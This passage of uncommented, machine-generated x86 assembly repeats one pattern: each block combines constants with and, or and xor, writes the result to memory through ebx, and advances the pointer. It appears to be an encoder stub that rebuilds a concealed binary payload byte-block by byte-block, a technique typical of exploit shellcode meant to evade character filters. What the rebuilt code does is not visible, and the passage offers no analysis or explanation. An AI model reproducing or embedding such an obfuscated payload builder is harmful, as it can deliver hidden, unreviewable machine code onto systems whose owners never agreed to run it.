xor eax, 0x3392fce3
and eax, 0x1414040
or eax, 0x80c88ad
mov dword [ebx], eax
add ebx, ecx
and eax, 0xce384fc
and eax, 0x4100e8
or eax, 0x648a1f01
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7068b68c
and eax, 0x630b60d7
and eax, 0x20000000
or eax, 0x1484270c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55470adb
and eax, 0x21c121d0
or eax, 0x842c4200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x182da9c0
and eax, 0xa5452a40
or eax, 0x42000405
mov dword [ebx], eax
add ebx, ecx
and eax, 0x467c1e72
and eax, 0x593a8c2f
and eax, 0x400
or eax, 0x1fc531d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ed67348
and eax, 0x134210
or eax, 0xe4202020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x515a8167
xor eax, 0x3ae5907f
and eax, 0x3a929050
or eax, 0x50827a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x796dbe55
and eax, 0x2b123235
or eax, 0x4002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c345b8f
or eax, 0x7b44bdc5
and eax, 0x4760706e
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23642765
and eax, 0x84045103
or eax, 0x8280830
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59b10bd8
xor eax, 0x573d3e28
and eax, 0x2806483
or eax, 0x584e1238
mov dword [ebx], eax
add ebx, ecx
and eax, 0x312452cf
and eax, 0x21b44446
and eax, 0x44002
or eax, 0x72aa0b7c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ecac91
and eax, 0x31752e25
and eax, 0x30400000
or eax, 0x409618d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x714981c9
or eax, 0x7374217e
and eax, 0x23cb2119
or eax, 0x200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x544641d7
and eax, 0x77cb2286
or eax, 0x201420
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcecb49
xor eax, 0x4def81db
and eax, 0x38002634
or eax, 0xc0378041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18bd9b73
and eax, 0x78281400
or eax, 8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ec2e5de
and eax, 0x2c8885c2
or eax, 0x81140a20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b360ece
and eax, 0x8140ec0
or eax, 0x806af02d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7777bf93
and eax, 0xa97652b0
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d5e75c4
and eax, 0xa0282170
or eax, 0x4a028083
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6fd4dc64
and eax, 0x40008000
or eax, 0x1027259f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17b87b12
and eax, 0x303cc00
or eax, 0x10400150
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61633c65
and eax, 0x43227945
or eax, 0x1c0000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37004d83
and eax, 0x50283404
or eax, 0x81408230
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x697f676f
and eax, 0x50c16f17
and eax, 0x10004001
or eax, 0x4974b6cc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d858f43
or eax, 0x6f17fee7
and eax, 0x417de06
or eax, 0x280118
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48adc1db
or eax, 0x68684b9
and eax, 0xc9a4f94
or eax, 0x31400000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b165b96
and eax, 0x44c2c8ef
and eax, 0x44800002
or eax, 0x391d9bc0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bac6dd9
xor eax, 0x5499379e
and eax, 0x24052e1c
or eax, 0x80a00080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18c2f8e3
and eax, 0x800880
or eax, 0x2022923d
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb5d1af4
and eax, 0x820
or eax, 0xb53e8548
mov dword [ebx], eax
add ebx, ecx
or eax, 0x336b9e6a
and eax, 0x961e0928
or eax, 0x40006010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4821ee9d
xor eax, 0x21b20262
and eax, 0xad09e544
or eax, 0x200020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16d9c7e2
and eax, 0x3bf913d9
and eax, 0x1d00200
or eax, 0xc0086c07
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7824b98c
and eax, 0x4e306c14
and eax, 0x40302400
or eax, 0x94c592e8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fd3cace
and eax, 0x40118288
or eax, 0x3a283d23
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5697d45b
xor eax, 0x2ac2949b
and eax, 0x40092200
or eax, 0x900901d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x393c48d0
and eax, 0x69105280
or eax, 0xc20002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e89ed80
and eax, 0x8d1ad80
or eax, 0x80000029
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54be0a8f
and eax, 0x15902a12
and eax, 0x4000202
or eax, 0x6bcdd1a5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f7bd0f7
and eax, 0x4940c025
or eax, 0x90a02940
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50f2570c
xor eax, 0x209b65c3
and eax, 0x1094008
or eax, 0x12442015
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b1cec0f
and eax, 0x104000c
or eax, 0x4339110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x361d4bdf
or eax, 0x52decc16
and eax, 0x31b89a05
or eax, 0x80000028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x537ab516
and eax, 0x40808b3e
or eax, 0xc040080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c4d96e4
and eax, 0x491802
or eax, 0xdf12a2a5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f81c2d0
and eax, 0xa0c25072
or eax, 0x3010208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61ce413a
and eax, 0x6a4b3ef6
and eax, 0x2010240
or eax, 0x203269b6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8c1f042
and eax, 0x7cb29bbb
and eax, 0x201200b0
or eax, 0x300404c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f1aa6aa
or eax, 0xb20f555
and eax, 0xa32f19c
or eax, 0xd0850a02
mov dword [ebx], eax
add ebx, ecx
and eax, 0x835d836
or eax, 0x5ed469de
and eax, 0x4411a902
or eax, 0x20000201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5805b9ac
and eax, 0x3b7c2e37
and eax, 0
or eax, 0x5ee15114
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1312f599
or eax, 0x7caf43c
and eax, 0x4f51e514
or eax, 0xa0040042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d0cd56b
and eax, 0x2001203c
or eax, 0xa04480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x337305e1
and eax, 0xe0042c
or eax, 0x4040800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32edf3a0
or eax, 0x1bb01c3
and eax, 0x2aa9482
or eax, 0x8000030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78aae6b8
and eax, 0x19405ba4
and eax, 0x8000000
or eax, 0x4249a545
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29bc4027
xor eax, 0x3a1af821
and eax, 0x9a20d01
or eax, 0x1080b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48bfbb25
or eax, 0x55e2cc70
and eax, 0x150363a0
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9d77840
xor eax, 0xfe4caf8
and eax, 0x12033008
or eax, 0xe90c4821
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43693f55
and eax, 0x32d96697
and eax, 0x22080405
or eax, 0xcd96992a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29e5d673
and eax, 0x644af894
and eax, 0x40480000
or eax, 0x211430ab
mov dword [ebx], eax
add ebx, ecx
or eax, 0x379d8a04
or eax, 0x222ac04b
and eax, 0x7120b0e5
or eax, 0x80000110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x375cb210
and eax, 0xc60c01a1
or eax, 0x19817400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61dc4483
and eax, 0x64d55122
or eax, 0x28250
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b6e805e
and eax, 0x18109014
or eax, 0x80002800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71a79528
and eax, 0x263ca9f
and eax, 0x20818
or eax, 0x16d450a3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a362c3b
and eax, 0x38122812
or eax, 0x1000004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78557f7f
and eax, 0x100010
or eax, 0x852292e9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50def39d
or eax, 0x6c3f2c2d
and eax, 0xe0f5add8
or eax, 2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d8f53e
and eax, 0x802158e4
or eax, 0x11908510
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c9f7360
xor eax, 0x1c8cb953
and eax, 0x1408c803
or eax, 0x62420104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x339df3ca
and eax, 0x2088100
or eax, 0xb63cd8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x341b6368
xor eax, 0x62eeb070
and eax, 0x10410680
or eax, 0x29a41115
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a46a8c5
and eax, 0x30242080
or eax, 0xc0084020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7767a4d9
and eax, 0x348c418
or eax, 0x40940180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5228a128
and eax, 0x202080
or eax, 0xa80b0840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2bcfb7f9
and eax, 0x280000c0
or eax, 0x4680cc18
mov dword [ebx], eax
add ebx, ecx
and eax, 0x262bc41b
and eax, 0x8f421d8
and eax, 0
or eax, 0x9bcf7d44
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e995201
and eax, 0x12004000
or eax, 0xc1460291
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14bb0ec2
or eax, 0x82a7187
and eax, 0x204004
or eax, 0x4458c68
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ad6749d
and eax, 0x440000
or eax, 0x31091811
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6770f3c3
xor eax, 0x2eecd4af
and eax, 0x72000a4
or eax, 0x80030201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79b401fe
or eax, 0x3f6d1dbf
and eax, 0x701089a
or eax, 0x924000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74ec24bb
or eax, 0x55dfc804
and eax, 0x455fc002
or eax, 0x8a001741
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34dad932
and eax, 0x46b7b440
and eax, 0x4058000
or eax, 0xa9202129
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2cb87c09
or eax, 0x2a40d7ca
and eax, 0x8eccb028
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e223cf8
and eax, 0x80e00400
or eax, 0xd115314
mov dword [ebx], eax
add ebx, ecx
or eax, 0x217f83ac
and eax, 0x2de7d584
or eax, 0x10002001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xba51be4
or eax, 0x390e1009
and eax, 0x110c9a08
or eax, 0x40a00104
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59a1e118
and eax, 0x8013010
or eax, 0xb1d08509
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8bf8263
or eax, 0x67404757
and eax, 0x556c0617
or eax, 0x8800880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3558fca4
and eax, 0x21746b86
and eax, 0x21206800
or eax, 0x44819139
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7aea1b9e
and eax, 0x3408201
or eax, 0xc0800900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c10ae88
and eax, 0x80402189
or eax, 0x500c4812
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a6a529c
and eax, 0xfa26508c
or eax, 0x4808440
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ae371f2
and eax, 0x7c8beb3
and eax, 0x800080
or eax, 0x3536ec2e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2055120a
xor eax, 0x479ee9b1
and eax, 0x12391710
or eax, 0x85026060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ad03710
and eax, 0xfde30040
or eax, 0x210ad97
mov dword [ebx], eax
add ebx, ecx
or eax, 0x658be6f7
and eax, 0x42320646
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x316470cb
and eax, 0x73ec252e
and eax, 0x7300200c
or eax, 0x840f9a52
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45b27b2a
and eax, 0x82b1c014
or eax, 0x44400c01
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d3b31ff
and eax, 0x138e8bd
and eax, 0x100004
or eax, 0x84881202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61b16fe7
and eax, 0x286480
or eax, 0x408210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2973296d
and eax, 0x6f562c7c
and eax, 0x28120874
or eax, 0x92ed9200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x420a4c46
and eax, 0x20d4dc31
and eax, 0x20c40430
or eax, 0xf292b42
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29bb896a
or eax, 0x3d9adf46
and eax, 0x2dbe8a1e
or eax, 0x81
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1763f7db
and eax, 0x200208
or eax, 0x485c2d44
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44167d63
and eax, 0x40900
or eax, 0x35891281
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62fd1e3c
and eax, 0x40300135
or eax, 0x88877842
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ef3c55
and eax, 0x4100402
or eax, 0x10063a14
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c6aba87
xor eax, 0x1e547ec3
and eax, 0x12285a12
or eax, 0xe0530128
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c06a348
and eax, 0x15ca2dcc
and eax, 0x2000
or eax, 0xb09757a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32c8c8b2
and eax, 0x7f02387e
and eax, 0x20000022
or eax, 0xc0b31250
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a4da9c7
and eax, 0x78752025
or eax, 0x1000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x35668af9
xor eax, 0x56d38491
and eax, 0x984224c
or eax, 0xa0011
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x356391b4
xor eax, 0x5081a263
and eax, 0x64641080
or eax, 0x8064
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32f97b4
and eax, 0x540da4b2
and eax, 0x40040020
or eax, 0xaad25303
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50b597ba
xor eax, 0x5b6c6737
and eax, 0xc1020202
or eax, 0x4405040
mov dword [ebx], eax
add ebx, ecx
or eax, 0xed62108
and eax, 0x40402308
or eax, 0x210080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x782a5989
xor eax, 0x275b9f24
and eax, 0x43001488
or eax, 0x10044101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x648272e3
and eax, 0x15800120
or eax, 0xc0510801
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a03195e
and eax, 0x8c900052
or eax, 0x60280600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34fc41c4
and eax, 0x494
or eax, 0x22988828
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x408d721a
and eax, 0x62003026
or eax, 0x14680041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x476a93e8
and eax, 0x46000020
or eax, 0x83ad90
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a3be7ab
and eax, 0x34104211
or eax, 0x81410460
mov dword [ebx], eax
add ebx, ecx
and eax, 0x610e1955
and eax, 0x7d743aa9
and eax, 0
or eax, 0x8046ce14
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31917b55
and eax, 0xb1573741
or eax, 0x44200082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d262208
and eax, 0x20000481
or eax, 0x40a10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x455584d8
and eax, 0x4e557649
and eax, 0x44000008
or eax, 0xa2aadc14
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c36848
and eax, 0x7b71944
and eax, 0x2200040
or eax, 0x11428b23
mov dword [ebx], eax
add ebx, ecx
and eax, 0x761e23a6
and eax, 0x10000002
or eax, 0x25381411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x194f711e
or eax, 0x57abda40
and eax, 0x22268848
or eax, 0x80000082
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a9e695e
and eax, 0x208a8984
or eax, 0x11011401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f26095
and eax, 0x77c091cf
and eax, 0x2008100
or eax, 0x401346ed
mov dword [ebx], eax
add ebx, ecx
or eax, 0x546f407d
and eax, 0x1d82b1
or eax, 0x1803000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39c8be65
and eax, 0x1003001
or eax, 0x220090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x459677a2
and eax, 0x4a00531
or eax, 0x384a1040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6936e551
and eax, 0x20220000
or eax, 0x409d2a88
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62571249
xor eax, 0x78ac634a
and eax, 0x8001901
or eax, 0x4020002c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68ed2a52
and eax, 0x7da925
and eax, 0xc0100
or eax, 0xffb0065a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72b7c468
and eax, 0x52f1ca5c
and eax, 0x10200000
or eax, 0xa44bd687
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6285077b
and eax, 0x5586b519
and eax, 0x50821000
or eax, 0x23704460
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ad68b5a
and eax, 0x4e4feb58
and eax, 0x2020000
or eax, 0xcd959012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52d99d32
or eax, 0x2fa9d6da
and eax, 0x2e69461a
or eax, 0x40100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30309702
or eax, 0x56e7615b
and eax, 0x4a05d148
or eax, 0xe20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1472a71c
and eax, 0x50706c64
or eax, 0x20800001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ab1ec48
and eax, 0x8c04c2c
or eax, 0x840c1200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b0061f7
xor eax, 0x70292fa6
and eax, 0x20084880
or eax, 0x1000024
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2527a3a1
and eax, 0x4064b01
or eax, 0xf290107a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54ab26e4
and eax, 0x297182
or eax, 0x1d000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x336016bc
and eax, 0x51ccf1b2
and eax, 0x1001080
or eax, 0x2e33ee24
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc1e585
or eax, 0x9e1e27a
and eax, 0x40a292
or eax, 0xc0080100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ca6ccb6
xor eax, 0x5d2b74c0
and eax, 0x91401002
or eax, 0x24286481
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a545488
or eax, 0x49bf4be8
and eax, 0x3ff63182
or eax, 0x8010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x241ff2db
or eax, 0x5a12d267
and eax, 0x3e061217
or eax, 0x80e00c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e3b4505
xor eax, 0x6d044861
and eax, 0x23064c24
or eax, 0x13318
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ff0c749
and eax, 0x1004208
or eax, 0x7013a8e0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a730e87
xor eax, 0x60917499
and eax, 0x436180a6
or eax, 0xe2f01
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c440442
xor eax, 0x78db54d4
and eax, 0x10955092
or eax, 0x8160a320
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56f9e5f8
or eax, 0x35184f47
and eax, 0x9434ccf5
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x288d7ee6
xor eax, 0x2518dc2
and eax, 0x514006
or eax, 0xe9282050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4eb2697e
or eax, 0x51e4b4c7
and eax, 0x3c4ec111
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc7628fa
and eax, 0x400000
or eax, 0xa019448d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29e1a152
and eax, 0x10000
or eax, 0x1732a728
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ad282d6
xor eax, 0x67835050
and eax, 0x41015210
or eax, 0x442524
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f4dd1da
and eax, 0xa0ec
or eax, 0xe0a34801
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3eb6e435
and eax, 0x460b61db
and eax, 0x6000
or eax, 0x5e5880d2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62ccb9bc
and eax, 0x4240a090
or eax, 0xaca74d0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fb94489
and eax, 0x9891e508
or eax, 0x1060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4198339d
and eax, 0x91114159
or eax, 0x4460800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7674db60
and eax, 0x40001011
or eax, 0x10144106
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4431acb5
and eax, 0x425dc22
or eax, 0xbc20041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x415fd679
and eax, 0xf5e5249
or eax, 0x184
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57a647
and eax, 0x20204
or eax, 0x2c21492a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48d53393
and eax, 0x200
or eax, 0xc2e6c849
mov dword [ebx], eax
add ebx, ecx
or eax, 0x477e8057
and eax, 0xc7240011
or eax, 0x18000580
mov dword [ebx], eax
add ebx, ecx
or eax, 0x529861b6
and eax, 0x9e380534
or eax, 0x20021000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4af156f3
xor eax, 0x37b932ed
and eax, 0x83427128
or eax, 0x24898005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5edd7915
and eax, 0x174ae4c8
and eax, 0x20008
or eax, 0xe4511900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6335f8d9
and eax, 0x80208181
or eax, 0x2880120e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a5edbb
and eax, 0xa881679e
or eax, 0x10500000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4daafe
and eax, 0x40029a
or eax, 0xa9aa8961
mov dword [ebx], eax
add ebx, ecx
and eax, 0x81b1dc4
and eax, 0x44898811
and eax, 0x800
or eax, 0x5ce14021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a54a34c
and eax, 0x6302168
or eax, 0x421080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48703fb3
and eax, 0x703020
or eax, 0x13078c47
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78399a86
and eax, 0x100802
or eax, 0xe28a0211
mov dword [ebx], eax
add ebx, ecx
or eax, 0x732e5e
and eax, 0x2233224e
or eax, 0x8001000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xdd8c1b6
and eax, 0x4d0606a
or eax, 0x50040c00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79de9efc
and eax, 0x19080e44
or eax, 0x80010100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70b972d7
and eax, 0xc9105911
or eax, 0x1000804c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3274a55e
and eax, 0xa0203c02
or eax, 0x413002c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6df22bf1
and eax, 0xd9307ab
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47316668
and eax, 0x1010400
or eax, 0x8804141
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76dbe1c4
xor eax, 0x56b8bd0d
and eax, 0x9424040
or eax, 0x440c8626
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cfc4a3
xor eax, 0x664588b9
and eax, 0x28440210
or eax, 0x94202581
mov dword [ebx], eax
add ebx, ecx
and eax, 0x607f8157
and eax, 0x400001
or eax, 0xcd91186c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69dbf7b2
and eax, 0x8000814d
or eax, 0x18840000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x305e289b
and eax, 0x810a892
or eax, 0x14045029
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6800c29c
and eax, 0x5c10ba33
or eax, 0x3630040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x663b7053
or eax, 0x2667538b
and eax, 0x2f6f4a03
or eax, 0x40100054
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50023dd2
xor eax, 0x44e264da
and eax, 0xa04080
or eax, 0x7a069326
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26cd8863
and eax, 0x2c214246
or eax, 0x1000410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55db2ba8
and eax, 0x55739009
and eax, 0
or eax, 0x5a063aa5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x382e5812
and eax, 0x380a1293
or eax, 0x4000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x124af130
and eax, 0x10023282
or eax, 0x800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ff9b0a6
and eax, 0xcb6c611
and eax, 0
or eax, 0x54019fbb
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b382df8
and eax, 0x12312ff0
or eax, 0xa0860000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69b21a8
and eax, 0x262d2de8
or eax, 0x840d002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10c3257b
xor eax, 0x38b92c85
and eax, 0x6061154
or eax, 0xf9a00281
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6735281c
xor eax, 0x27063a2e
and eax, 0x259401a0
or eax, 0x80618
mov dword [ebx], eax
add ebx, ecx
and eax, 0x129c6118
xor eax, 0x5cb30429
and eax, 0x8090520
or eax, 0x300ea84
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5186972e
xor eax, 0x72d3cc4c
and eax, 0x29480242
or eax, 0x2824410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x35549a51
or eax, 0x1c299ec0
and eax, 0x3e4bd293
or eax, 0x40000124
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70b2b7b
and eax, 0x2840604c
or eax, 0x84ac0412
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7fbdedb7
and eax, 0x7684e5af
and eax, 0x4084c02e
or eax, 0x9400a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5112b880
and eax, 0x6d95d377
and eax, 0x40008000
or eax, 0xa5e5fc5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38337f1e
or eax, 0x2e33485b
and eax, 0x6e4e5916
or eax, 0x1000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4e88a800
and eax, 0x141b59c2
and eax, 0
or eax, 0x20b3716c
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfe32ddb
xor eax, 0x49f0516d
and eax, 0x1021005
or eax, 0xa4840792
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4e9dbb2
xor eax, 0x28a08084
and eax, 0xc208014
or eax, 0xc1946c88
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29797839
and eax, 0x5b45ca77
and eax, 0x1004800
or eax, 0x1417b50f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f281be5
and eax, 0x1801
or eax, 0xf013640a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47701e5a
and eax, 0x3b2d2739
and eax, 0
or eax, 0xf6d69af0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29ccce38
and eax, 0x73e941d2
and eax, 0x12c00080
or eax, 0x84151d21
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d4e566
and eax, 0x59a3165
and eax, 1
or eax, 0x6b0b4d92
mov dword [ebx], eax
add ebx, ecx
and eax, 0x126f1ebf
and eax, 0x2090c93
or eax, 0x78942044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26220bc
and eax, 0x14
or eax, 0x44a0c46a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34f34b4
and eax, 0x4244d490
or eax, 0x88000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75f0733c
and eax, 0x5000
or eax, 0x24268a46
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ade92f1
and eax, 0x4ac58a5
or eax, 0x91012108
mov dword [ebx], eax
